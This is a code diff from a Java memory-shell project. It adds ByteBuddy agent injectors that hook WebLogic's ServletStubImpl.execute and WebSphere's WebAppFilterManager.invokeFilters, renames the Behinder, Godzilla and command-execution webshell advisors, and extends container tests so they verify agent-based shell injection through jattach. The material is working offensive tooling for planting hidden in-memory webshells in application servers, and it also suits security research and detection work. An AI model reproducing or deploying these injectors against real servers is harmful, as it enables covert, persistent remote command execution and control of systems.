import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@@ -36,6 +37,8 @@ public class WebSphere905ContainerTest {
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
@@ -50,7 +53,10 @@ public class WebSphere905ContainerTest {
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -63,7 +69,7 @@ public class WebSphere905ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
|
||||
+5
-2
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.behinder;
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
@@ -17,7 +17,7 @@ import java.util.Map;
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TomcatFilterChainBehinderAdvisor {
|
||||
public class BehinderFilterChainAdvisor {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
@@ -27,6 +27,9 @@ public class TomcatFilterChainBehinderAdvisor {
|
||||
@Advice.Argument(value = 0) ServletRequest req,
|
||||
@Advice.Argument(value = 1) ServletResponse res
|
||||
) {
|
||||
if (!(req instanceof HttpServletRequest)) {
|
||||
return false;
|
||||
}
|
||||
HttpServletRequest request = (HttpServletRequest) req;
|
||||
HttpServletResponse response = (HttpServletResponse) res;
|
||||
try {
|
||||
+2
-3
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.command;
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
@@ -10,7 +10,7 @@ import java.io.InputStream;
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TomcatFilterChainCommandAdvisor {
|
||||
public class CommandFilterChainAdvisor {
|
||||
public static String paramName;
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
@@ -18,7 +18,6 @@ public class TomcatFilterChainCommandAdvisor {
|
||||
@Advice.Argument(value = 0) ServletRequest request,
|
||||
@Advice.Argument(value = 1) ServletResponse response
|
||||
) {
|
||||
System.out.println(paramName);
|
||||
String cmd = request.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.godzilla;
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
@@ -15,7 +15,7 @@ import java.lang.reflect.Method;
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TomcatFilterChainGodzillaAdvisor {
|
||||
public class GodzillaFilterChainAdvisor {
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.injector;
|
||||
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/3
|
||||
*/
|
||||
public class WebLogicServletStubAgentInjector implements AgentBuilder.Transformer {
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("execute").and(takesArguments(3))));
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("weblogic.servlet.internal.ServletStubImpl"))
|
||||
.transform(new WebLogicServletStubAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at weblogic.servlet.internal.ServletStubImpl.execute");
|
||||
}
|
||||
}
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
package com.reajason.javaweb.memshell.websphere.injector;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
*/
|
||||
public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("invokeFilters")));
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager"))
|
||||
.transform(new WebSphereFilterChainAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user